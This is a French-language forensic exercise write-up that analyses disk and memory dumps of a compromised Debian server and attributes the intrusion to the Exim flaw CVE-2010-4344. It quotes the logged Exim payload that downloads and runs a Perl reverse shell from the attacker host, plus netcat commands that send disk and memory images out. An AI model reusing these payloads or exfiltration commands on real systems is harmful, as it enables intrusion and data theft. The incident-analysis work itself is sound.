Dump mémoire et disque dur

B1- Quelle est le système d'exploitation sur lequel tourne cette machine? Donner la version précise.

```
strings diskdump.img | grep linux

linux-headers-2.6.26-1-486
```

```
strings exercice/dump_disk_mem/diskdump.img | grep "GNU/Linux"

LABEL = Debian GNU/Linux 5.0.7 _Lenny_ - Official i386 NETINST Binary-1 20101128-01:05
```

Debian 5.0.7 Lenny | kernel version 2.6.26-1-486

B2- Donner la version précise du CPU (modèle, vitesse etc)

```
strings exercice/dump_disk_mem/diskdump.img | grep "CPU"

Jan 18 08:13:47 kernel: [    0.000000] Initializing CPU#0
Jan 18 08:13:47 kernel: [    0.099988] CPU: L2 cache: 6144K
Jan 18 08:13:47 kernel: [    0.100006] CPU: Intel(R) Core(TM)2 CPU         T7200  @ 2.00GHz stepping 06
```

Intel code 2 Duo T7200 2.00GHZ

B3 - De combien de ram dispose ce serveur?

```
strings exercice/dump_disk_mem/diskdump.img | grep "mem" | less

/proc/meminfo: MemTotal:       256576 kB
```

Le serveur dispose de 256mb de mémoire vive.

B4- Quels sont les processus qui tournaient sur cette machine au moment du dump?

```
volatility --profile=LinuxDebian5010x86 -f memdump.img linux_psscan

Volatility Foundation Volatility Framework 2.6
Offset     Name                 Pid             PPid            Uid             Gid    DTB        Start Ti
---------- -------------------- --------------- --------------- --------------- ------ ---------- --------
0x0e972240 exim4                2078            -               101             103    0xf000e987 -
0x0e972660 rsyslogd             1661            -               0               0      ---------- -
0x0e972a80 exim4                2167            -               0               103    0xf000e987 -
0x0e972ea0 rsyslogd             1663            -               0               0      ---------- -
0x0e9732c0 sleep                2083            -               101             103    0xf000e987 -
0x0e9736e0 sh                   2080            -               101             103    0xf000e987 -
0x0e973b00 rpc.statd            1441            -               102             0      ---------- -
0x0e978200 run-parts            2166            -               0               0      0xf000e987 -
0x0e978620 kpsmoused            1110            -               0               0      0xf000e987 -
0x0e978a40 rsyslogd             2162            -               0               0      0xf000e987 -
0x0e978e60 hostname             2165            -               0               0      0xf000e987 -
0x0e979280 dhclient-script      2163            -               0               0      0xf000e987 -
0x0e9796a0 portmap              1429            -               1               1      ---------- -
0x0e979ac0 sshd                 1687            -               0               0      ---------- -
0x0f42e040 khelper              7               -               0               0      0xf000e987 -
```

```
0x0f42e460 events/0            6              -              0              0      0xf000e987 -
0x0f42eca0 ksoftirqd/0         4              -              0              0      0xf000e987 -
0x0f42f4e0 kthreadd            2              -              0              0      0xf000e987 -
0x0f42f900 init                1              -              0              0      ---------- -
0x0f43e080 scsi_eh_0           634            -              0              0      0xf000e987 -
0x0f43e4a0 sshd                2157           -              0              0      0xf000e987 -
0x0f43e8c0 nc                  2169           -              0              0      ---------- -
0x0f43ece0 acpid               1672           -              0              0      ---------- -
0x0f43f100 pdflush             123            -              0              0      0xf000e987 -
0x0f43f520 aio/0               126            -              0              0      0xf000e987 -
0x0f43f940 modprobe            1061           -              0              0      0xf000e987 -
0x0f45c0c0 kjournald           700            -              0              0      0xf000e987 -
0x0f45c4e0 ksuspend_usbd       581            -              0              0      0xf000e987 -
0x0f45c900 dhclient3           1624           -              0              0      ---------- -
0x0f45cd20 exim4               1942           -              101            103    ---------- -
0x0f45d140 kacpi_notify        42             -              0              0      0xf000e987 -
0x0f45d560 kswapd0             125            -              0              0      0xf000e987 -
0x0f45d980 pdflush             124            -              0              0      0xf000e987 -
0x0f46c100 nc                  2161           -              0              0      0xf000e987 -
0x0f46c520 rsyslogd            1664           -              0              0      ---------- -
0x0f46c940 kseriod             86             -              0              0      0xf000e987 -
0x0f46cd60 getty               1998           -              0              0      ---------- -
0x0f46d180 dd                  2160           -              0              0      0xf000e987 -
0x0f46d5a0 udevd               776            -              0              0      ---------- -
0x0f46d9c0 ata/0               594            -              0              0      0xf000e987 -
0x0f48c140 chown               2061           -              0              103    0xf000e987 -
0x0f48c560 getty               1992           -              0              0      ---------- -
0x0f48c980 run-parts           2096           -              0              0      0xf000e987 -
0x0f48cda0 sh                  2095           -              0              0      0xf000e987 -
0x0f48d1c0 khubd               582            -              0              0      0xf000e987 -
0x0f48d5e0 cron                2094           -              0              0      0xf000e987 -
0x0f48da00 exim4               2084           -              101            103    0xf000e987 -
0x0f4a0180 getty               2000           -              0              0      ---------- -
0x0f4a05a0 udevd               1055           -              0              0      0xf000e987 -
0x0f4a09c0 rsyslogd            2030           -              0              0      0xf000e987 -
0x0f4a0de0 rsyslogd            2155           -              0              0      0xf000e987 -
0x0f4a1200 kacpid              41             -              0              0      0xf000e987 -
0x0f4a1620 getty               1996           -              0              0      ---------- -
0x0f4a1a40 kblockd/0           39             -              0              0      0xf000e987 -
0x0f8021c0 bash                2042           -              0              0      ---------- -
0x0f8025e0 rsyslogd            2068           -              0              0      0xf000e987 -
0x0f802a00 ata_aux             595            -              0              0      0xf000e987 -
0x0f802e20 sshd                2100           -              103            65534  0xf000e987 -
0x0f803240 getty               1994           -              0              0      ---------- -
0x0f803660 rsyslogd            2087           -              0              0      0xf000e987 -
0x0f803a80 cron                1973           -              0              0      ---------- -
0x0f42e880 watchdog/0          5              -              0              0      0xf000e987 -
0x0f42f0c0 migration/0         3              -              0              0      0xf000e987 -
0x0faac280 memdump             2168           -              0              0      ---------- -
0x0faac6a0 rsyslogd            2159           -              0              0      0xf000e987 -
0x0faacac0 sshd                2153           -              0              0      0xf000e987 -
0x0faacee0 sh                  2065           -              0              0      ---------- -
0x0faad300 sh                  2150           -              101            103    0xf000e987 -
0x0faad720 login               1990           -              0              0      ---------- -
0x0faadb40 sshd                2154           -              103            65534  0xf000e987 -
```

B5- Quelle est l'adresse IP du PC?

```
volatility --profile=LinuxDebian5010x86 -f memdump.img linux_route_cache

Volatility Foundation Volatility Framework 2.6
Interface        Destination          Gateway
---------------- -------------------- -------
lo               192.168.56.102       192.168.56.102
eth0             192.168.56.1         192.168.56.1
eth0             192.168.56.1         192.168.56.1
```

L'IP de la machine est : 192.168.56.102

B6- Quels sont les ports en écoute, dans quel état sont ils?

```
volatility --profile=LinuxDebian5010x86 -f memdump.img linux_netstat

Volatility Foundation Volatility Framework 2.6
UNIX 2190                 udevd/776
UDP      0.0.0.0         :  111 0.0.0.0         :    0                          portmap/1429
TCP      0.0.0.0         :  111 0.0.0.0         :    0 LISTEN                   portmap/1429
UDP      0.0.0.0         :  769 0.0.0.0         :    0                        rpc.statd/1441
UDP      0.0.0.0         :38921 0.0.0.0         :    0                        rpc.statd/1441
TCP      0.0.0.0         :39296 0.0.0.0         :    0 LISTEN                 rpc.statd/1441
UDP      0.0.0.0         :   68 0.0.0.0         :    0                        dhclient3/1624
UNIX 5069             dhclient3/1624
UNIX 4617              rsyslogd/1661  /dev/log
UNIX 4636                 acpid/1672  /var/run/acpid.socket
UNIX 4638                 acpid/1672
TCP      ::              :   22 ::              :    0 LISTEN                     sshd/1687
TCP      0.0.0.0         :   22 0.0.0.0         :    0 LISTEN                     sshd/1687
TCP      ::              :   25 ::              :    0 LISTEN                    exim4/1942
TCP      0.0.0.0         :   25 0.0.0.0         :    0 LISTEN                    exim4/1942
UNIX 5132                 login/1990
TCP      192.168.56.102  :43327 192.168.56.1    : 4444 ESTABLISHED                 sh/2065
TCP      192.168.56.102  :43327 192.168.56.1    : 4444 ESTABLISHED                 sh/2065
TCP      192.168.56.102  :43327 192.168.56.1    : 4444 ESTABLISHED                 sh/2065
TCP      192.168.56.102  :   25 192.168.56.101  :37202 CLOSE                       sh/2065
TCP      192.168.56.102  :   25 192.168.56.101  :37202 CLOSE                       sh/2065
TCP      192.168.56.102  :56955 192.168.56.1    : 8888 ESTABLISHED                 nc/2169
```

B7- Quelle est l'adresse IP de l'attaquant?

- Le service exim4 écoute sur le port 25, on voit 2 connexion à l'état **CLOSE**.
- On voit aussi 4 connexions "ESTABLISHED" vers **192.168.56.1** sur les ports **4444** et **8888** (établi avec netcat).
- Il y a de forte chance pour que **192.168.56.1** soit la machine attaquante. Mais je suspecte **192.168.56.101** d'avoir initier la première connexion.

B8- Quel(s) service(s) a(ont) été exploité(s) par l'attaquant en vue de prendre le contrôle du serveur? A quoi sert/servent ce(s) service(s)?

```
TCP      192.168.56.102  :   25 192.168.56.101  :37202 CLOSE                       sh/2065
TCP      192.168.56.102  :   25 192.168.56.101  :37202 CLOSE                       sh/2065
```

- Une connexion sur un shell a été faite, allons voir ce qu'il s'est passé.

```
volatility --profile=LinuxDebian5010x86 -f memdump.img linux_bash

Pid      Name                 Command Time                   Command
-------- -------------------- ------------------------------ -------
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get remove exim4
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get remove exim4-base
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get remove exim4-daemon-light
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -l | grep exim
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get remove exim4-config
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ls -a
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg --purge
    2042 bash                 2011-02-06 14:04:39 UTC+0000   pwd
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get remove exim
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -l | grep exim
    2042 bash                 2011-02-06 14:04:39 UTC+0000   mkdir exim4
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-config_4.69-9_all.deb
    2042 bash                 2011-02-06 14:04:39 UTC+0000   cd exim4/
    2042 bash                 2011-02-06 14:04:39 UTC+0000   scp yom@192.168.56.1:/home/yom/temporary/exmi
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-base_4.69-9_i386.deb
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-base_4.69-9_i386.deb
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -i --ignore-depends=exim4-base,exim4-dae
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -i exim4_4.69-9_all.deb
```

```
    2042 bash                 2011-02-06 14:04:39 UTC+0000   /etc/init.d/networking restart
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ifconfig
    2042 bash                 2011-02-06 14:04:39 UTC+0000   /etc/init.d/networking start
    2042 bash                 2011-02-06 14:04:39 UTC+0000   halt
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get install openssh-server
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get install openssh-server
    2042 bash                 2011-02-06 14:04:39 UTC+0000   cd /etc/exim4/
    2042 bash                 2011-02-06 14:04:39 UTC+0000   scp yom@192.168.56.1:/home/yom/temporary/exim
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-daemon-light_4.69-9_i386.deb
    2042 bash                 2011-02-06 14:04:39 UTC+0000   cd ..
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ls
    2042 bash                 2011-02-06 14:04:39 UTC+0000   rm -rf exim4/
    2042 bash                 2011-02-06 14:04:39 UTC+0000   vi .bash
    2042 bash                 2011-02-06 14:04:39 UTC+0000   vi .ssh/known_hosts
    2042 bash                 2011-02-06 14:04:39 UTC+0000   vi .bash_history
    2042 bash                 2011-02-06 14:04:39 UTC+0000   vi update-exim4.conf.conf
    2042 bash                 2011-02-06 14:04:39 UTC+0000   update-exim4.conf
    2042 bash                 2011-02-06 14:04:39 UTC+0000   halt
    2042 bash                 2011-02-06 14:04:39 UTC+0000   reboot
    2042 bash                 2011-02-06 14:04:39 UTC+0000   whereis gcc
    2042 bash                 2011-02-06 14:04:39 UTC+0000   whereis memdump
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get install memdump
    2042 bash                 2011-02-06 14:04:39 UTC+0000   halt
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ifconfig
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ping 192.168.56.1
    2042 bash                 2011-02-06 14:04:39 UTC+0000   mount
    2042 bash                 2011-02-06 14:04:39 UTC+0000   sudo dd if=/dev/sda | nc 192.168.56.1 4444
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dd if=/dev/sda | nc 192.168.56.1 4444
    2042 bash                 2011-02-06 14:04:39 UTC+0000   dd if=/dev/sda1 | nc 192.168.56.1 4444
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get install memdump
    2042 bash                 2011-02-06 14:04:39 UTC+0000   netstat  -ant
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get install ddrescue
    2042 bash                 2011-02-06 14:04:39 UTC+0000   apt-get install dcfldd
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ls /dev/kmem
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ls /dev/mem
    2042 bash                 2011-02-06 14:04:39 UTC+0000   halt
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ifconfig
    2042 bash                 2011-02-06 14:04:39 UTC+0000   ifconfig
    2042 bash                 2011-02-06 14:04:39 UTC+0000   reboot
    2042 bash                 2011-02-06 14:04:46 UTC+0000   ifconfig
    2042 bash                 2011-02-06 14:24:43 UTC+0000   dd if=/dev/sda1 | nc 192.168.56.1 8888
    2042 bash                 2011-02-06 14:42:29 UTC+0000   memdump | nc 192.168.56.1 8888
```

- On peut voir que beaucoup de choses ont été faites :
  - changer la version d'exim 4 par : **exim4-base_4.69-9_i386.deb**
  - installation d'openssh : **apt-get install openssh-server** => pas de sudo devant apt-get, on peut supposer que l'utilisateur était en **root**.
  - scp yom@192.168.56.1:/home/yom/temporary/exim4/* . => **yom** est l'utilisateur depuis le PC attaquant
  - installé un outil pour dump la mémoire
  - dumper /dev/sda et /dev/sda1 via netcat à l'adresse : **192.168.56.1**
  - initier des connexions scp et netcat sur les ports 4444 et 8888.
- Si on regarde du côté des process

```
volatility --profile=LinuxDebian5010x86 -f memdump.img linux_pslist_cache

Offset     Name                 Pid             PPid            Uid             Gid    DTB        Start Ti
---------- -------------------- --------------- --------------- --------------- ------ ---------- --------
0xcf45c0c0 kjournald            700             2               0               0      ---------- 2011-02-
0xcf45c4e0 ksuspend_usbd        581             2               0               0      ---------- 2011-02-
0xcf45c900 dhclient3            1624            1               0               0      0x0ec3d000 2011-02-
0xcf45cd20 exim4                1942            1               101             103    0x0e7bc000 2011-02-
0xcf45d140 kacpi_notify         42              2               0               0      ---------- 2011-02-
0xcf45d560 kswapd0              125             2               0               0      ---------- 2011-02-
0xcf45d980 pdflush              124             2               0               0      ---------- 2011-02-
0xcf42e040 khelper              7               2               0               0      ---------- 2011-02-
0xcf42e460 events/0             6               2               0               0      ---------- 2011-02-
0xcf42e880 watchdog/0           5               2               0               0      ---------- 2011-02-
0xcf42eca0 ksoftirqd/0          4               2               0               0      ---------- 2011-02-
0xcf42f0c0 migration/0          3               2               0               0      ---------- 2011-02-
```

```
0xcf42f4e0 kthreadd            2              0              0              0      ---------- 2011-02-
0xcf42f900 init                1              0              0              0      0x0f4b8000 2011-02-
0xcfaac280 memdump             2168           2042           0              0      0x08088000 2011-02-
0xcfaacee0 sh                  2065           1              0              0      0x0f517000 2011-02-
0xcfaad720 login               1990           1              0              0      0x0eecf000 2011-02-
0xcf4a0180 getty               2000           1              0              0      0x0e89e000 2011-02-
0xcf4a1200 kacpid              41             2              0              0      ---------- 2011-02-
0xcf4a1620 getty               1996           1              0              0      0x0f838000 2011-02-
0xcf4a1a40 kblockd/0           39             2              0              0      ---------- 2011-02-
0xce972660 rsyslogd            1661           1              0              0      0x0e7ed000 2011-02-
0xce972ea0 rsyslogd            1663           1              0              0      0x0e7ed000 2011-02-
0xce973b00 rpc.statd           1441           1              102            0      0x0f8b3000 2011-02-
0xce978620 kpsmoused           1110           2              0              0      ---------- 2011-02-
0xce9796a0 portmap             1429           1              1              1      0x0eddf000 2011-02-
0xce979ac0 sshd                1687           1              0              0      0x0fa65000 2011-02-
0xcf46c520 rsyslogd            1664           1              0              0      0x0e7ed000 2011-02-
0xcf46c940 kseriod             86             2              0              0      ---------- 2011-02-
0xcf46cd60 getty               1998           1              0              0      0x0f83d000 2011-02-
0xcf46d5a0 udevd               776            1              0              0      0x0f5b2000 2011-02-
0xcf46d9c0 ata/0               594            2              0              0      ---------- 2011-02-
0xcf8021c0 bash                2042           1990           0              0      0x0eecc000 2011-02-
0xcf802a00 ata_aux             595            2              0              0      ---------- 2011-02-
0xcf803240 getty               1994           1              0              0      0x0f671000 2011-02-
0xcf803a80 cron                1973           1              0              0      0x0f815000 2011-02-
0xcf48c560 getty               1992           1              0              0      0x0ea31000 2011-02-
0xcf48d1c0 khubd               582            2              0              0      ---------- 2011-02-
0xcf43e080 scsi_eh_0           634            2              0              0      ---------- 2011-02-
0xcf43e8c0 nc                  2169           2042           0              0      0x08084000 2011-02-
0xcf43ece0 acpid               1672           1              0              0      0x0f8a8000 2011-02-
0xcf43f100 pdflush             123            2              0              0      ---------- 2011-02-
0xcf43f520 aio/0               126            2              0              0      ---------- 2011-02-
```

- On retrouve les process :
  - exim4 => service mail
  - memdump => permet de dumper la mémoire
  - nc => établire des connexions
  - sshd => service open-ssh

B9 - En vous basant sur les deux dumps, donner la CVE la plus probable exploitée par l'attaquant

- Le service exim4-base_4.69-9_i386.deb à été installé, il écoute sur le port 25. Allons voir si des CVEs existent :

https://www.cvedetails.com/cve/CVE-2010-4344/

```
Heap-based buffer overflow in the string_vformat function in string.c in Exim before 4.70 allows remote at
```

- Allons voir les logs des mails pour confirmer notre hypothèse :

```
sudo mount -o ro,loop norecovery diskdump.img /mnt/forensic
sudo su
cd /mnt/forensic/var/log/exim4/
#cat rejectlog | less
```

```
Header0052: VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
  Header0053: VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
  Header0054: VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
  Header0055: VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
  HeaderX: ${run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl;perl /tmp/c.pl 19
92.168.56.1 4444; sleep 1000000'"}} ${run{/bin/sh -c "exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /t
```

- On observe un maxi payload et l'ouverture d'un shell, bingo ! C'est notre **CVE-2010-4344** !

B10- Est-ce que l'attaquent a réussi a voler des données?

- Oui l'attaquant a réussis à dumper /dev/sda1 et la mémoire

```
2042 bash                2011-02-06 14:24:43 UTC+0000   dd if=/dev/sda1 | nc 192.168.56.1 8888
2042 bash                2011-02-06 14:42:29 UTC+0000   memdump | nc 192.168.56.1 8888
```

- On voit que 20 minutes se sont écoulés encotre les deux commandes, le temps de la copie de **/dev/sda** vers **192.168.56.1**.

B11- Certaines actions entreprises par l'attaquent n'ont pas abouties, lesquelles?

- Beaucoup d'actions n'ont pas abouties, on observe de multiples tentatives :
- Il tente de supprimer exim4

```
2042 bash                2011-02-06 14:04:39 UTC+0000   apt-get remove exim4
2042 bash                2011-02-06 14:04:39 UTC+0000   apt-get remove exim4-base
2042 bash                2011-02-06 14:04:39 UTC+0000   apt-get remove exim4-daemon-light
2042 bash                2011-02-06 14:04:39 UTC+0000   dpkg -l | grep exim
2042 bash                2011-02-06 14:04:39 UTC+0000   apt-get remove exim4-config
2042 bash                2011-02-06 14:04:39 UTC+0000   ls -a
2042 bash                2011-02-06 14:04:39 UTC+0000   dpkg --purge
2042 bash                2011-02-06 14:04:39 UTC+0000   pwd
2042 bash                2011-02-06 14:04:39 UTC+0000   apt-get remove exim
2042 bash                2011-02-06 14:04:39 UTC+0000   dpkg -l | grep exim
2042 bash                2011-02-06 14:04:39 UTC+0000   mkdir exim4
```

- plusieurs tentatives pour installer la version **4.69-9** de exim4

```
2042 bash                2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-config_4.69-9_all.deb
2042 bash                2011-02-06 14:04:39 UTC+0000   cd exim4/
2042 bash                2011-02-06 14:04:39 UTC+0000   scp yom@192.168.56.1:/home/yom/temporary/exmi4/*
2042 bash                2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-base_4.69-9_i386.deb
2042 bash                2011-02-06 14:04:39 UTC+0000   dpkg -i exim4-base_4.69-9_i386.deb
2042 bash                2011-02-06 14:04:39 UTC+0000   dpkg -i --ignore-depends=exim4-base,exim4-daemon-
2042 bash                2011-02-06 14:04:39 UTC+0000   dpkg -i exim4_4.69-9_all.deb
```

- Lance à deux reprises l'installation d'open-ssh

```
2042 bash                2011-02-06 14:04:39 UTC+0000   apt-get install openssh-server
2042 bash                2011-02-06 14:04:39 UTC+0000   apt-get install openssh-server
```

- Plusieurs tentative de dumper avec **dd**.

```
2042 bash                2011-02-06 14:04:39 UTC+0000   mount
2042 bash                2011-02-06 14:04:39 UTC+0000   sudo dd if=/dev/sda | nc 192.168.56.1 4444
2042 bash                2011-02-06 14:04:39 UTC+0000   dd if=/dev/sda | nc 192.168.56.1 4444
2042 bash                2011-02-06 14:04:39 UTC+0000   dd if=/dev/sda1 | nc 192.168.56.1 4444
2042 bash                2011-02-06 14:04:39 UTC+0000   apt-get install memdump
```

B12- Question bonus: que préconiseriez vous au propriétaire de ce serveur pour renforcer la sécurité face a ce type d'attaque?

- Mettre à jour les services, surveiller les CVEs
- Mise en place de sécurité comme un IDS/IPS
- Pratiquer des tests d'intrusions
- Mettre en place une supervision des postes avec des règles.